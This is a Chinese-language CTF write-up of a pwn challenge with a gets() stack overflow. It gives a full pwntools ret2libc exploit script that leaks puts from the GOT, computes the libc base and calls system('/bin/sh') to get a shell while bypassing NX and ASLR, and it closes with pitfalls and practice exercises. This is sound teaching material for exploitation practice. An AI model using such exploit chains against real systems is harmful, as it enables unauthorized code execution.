共计 2162 个字符,预计需要花费 6 分钟才能阅读完成。
背景分析
这道题目来自 2020 年第五空间智能安全大赛,是一个典型的栈溢出漏洞利用题目。运行环境为 Ubuntu 18.04,使用 GLIBC 2.27 版本。题目开启了 NX/DEP 保护,这意味着我们不能直接在栈上执行 shellcode,必须使用 ROP(Return-Oriented Programming)技术来完成利用。

漏洞定位
使用 IDA Pro 进行静态分析,很快就能发现程序中存在一个明显的栈溢出漏洞:
int vuln() {char buf[32];
gets(buf); // 危险函数调用,没有限制输入长度
return 0;
}
这个函数使用了不安全的 gets() 函数,它不会检查输入长度,可以覆盖栈上的返回地址。通过计算可以知道,我们需要填充 32 字节缓冲区 + 8 字节的保存的 rbp,总共 40 字节后就能控制返回地址。
利用开发
1. 构造 ROP 链
由于 NX 保护开启,我们需要构造 ROP 链来执行我们的攻击。基本思路是:
- 泄露 libc 地址
- 计算 system 和 /bin/sh 的地址
- 调用 system(“/bin/sh”)
首先,我们需要找到一些有用的 gadget:
ROPgadget --binary twice --only "pop|ret"
找到 pop rdi; ret 这个关键 gadget,它将帮助我们传递参数给函数。
2. 泄露 libc 地址
我们可以通过调用 puts 函数来打印 GOT 表中的函数地址。下面是关键代码:
from pwn import *
context.log_level = 'debug'
# 找到关键 gadget 和函数地址
pop_rdi = 0x400733 # pop rdi; ret
puts_plt = 0x400520
puts_got = 0x601018
# 第一次溢出:泄露 puts 的地址
payload = b'A'*40
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(0x400636) # 重新回到 vuln 函数
p = process('./twice')
p.sendline(payload)
# 接收泄露的地址
puts_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
log.info(f"puts address: {hex(puts_addr)}")
3. 计算 system 地址
根据泄露的 puts 地址,我们可以计算 libc 基址和 system 地址:
# 计算 libc 基址和 system 地址
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.info(f"libc base: {hex(libc_base)}")
log.info(f"system address: {hex(system_addr)}")
log.info(f"/bin/sh address: {hex(binsh_addr)}")
4. 最终利用
现在我们可以构造最终的 ROP 链来获取 shell:
# 第二次溢出:调用 system("/bin/sh")
payload = b'A'*40
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.sendline(payload)
p.interactive()
防护绕过
题目启用了 ASLR(地址空间布局随机化),这意味着 libc 的基址每次运行都会变化。我们通过泄露 libc 函数的地址来绕过这个保护。这是一种常见的技术,称为 ”memory leak”。
避坑指南
新手在解决这类题目时,经常会遇到以下问题:
-
栈对齐问题 :在调用函数前,栈需要 16 字节对齐。有时候需要额外添加一个
ret指令来调整栈指针。 -
gadget 选择不当:确保你选择的 gadget 不会破坏后续的 ROP 链。
-
接收数据不完整:在接收泄露的地址时,确保你读取了足够的数据,并正确解析它。
-
libc 版本不匹配:确保你使用的 libc 版本与目标系统一致。
扩展思考
为了进一步练习,你可以尝试以下挑战:
- 如果题目增加了 Canary 保护,你该如何绕过?
- 如果题目使用了较新的 libc 版本(如 2.31+),ROP 链需要做哪些调整?
- 尝试使用 one_gadget 而不是 system 来获取 shell。
总结
通过这道题目,我们学习了一个完整的栈溢出漏洞利用过程:从漏洞发现、ROP 链构造、libc 地址泄露到最终获取 shell。这是 Pwn 方向最基础也是最重要的技能之一。建议读者在理解这个例子的基础上,尝试解决其他类似的 CTF 题目来巩固知识。
实战练习建议
- 修改题目二进制文件,增加 Canary 保护,然后尝试绕过它
- 尝试在远程服务器上运行这个 exploit
- 编写一个通用的 exploit 框架,可以自动适应不同的 libc 版本
- 研究其他类似的 CTF 题目,比较它们的解题思路
记住,Pwn 技能需要通过大量实践来掌握。每解决一道题目,都要总结学到的技巧和方法。祝你学习顺利!
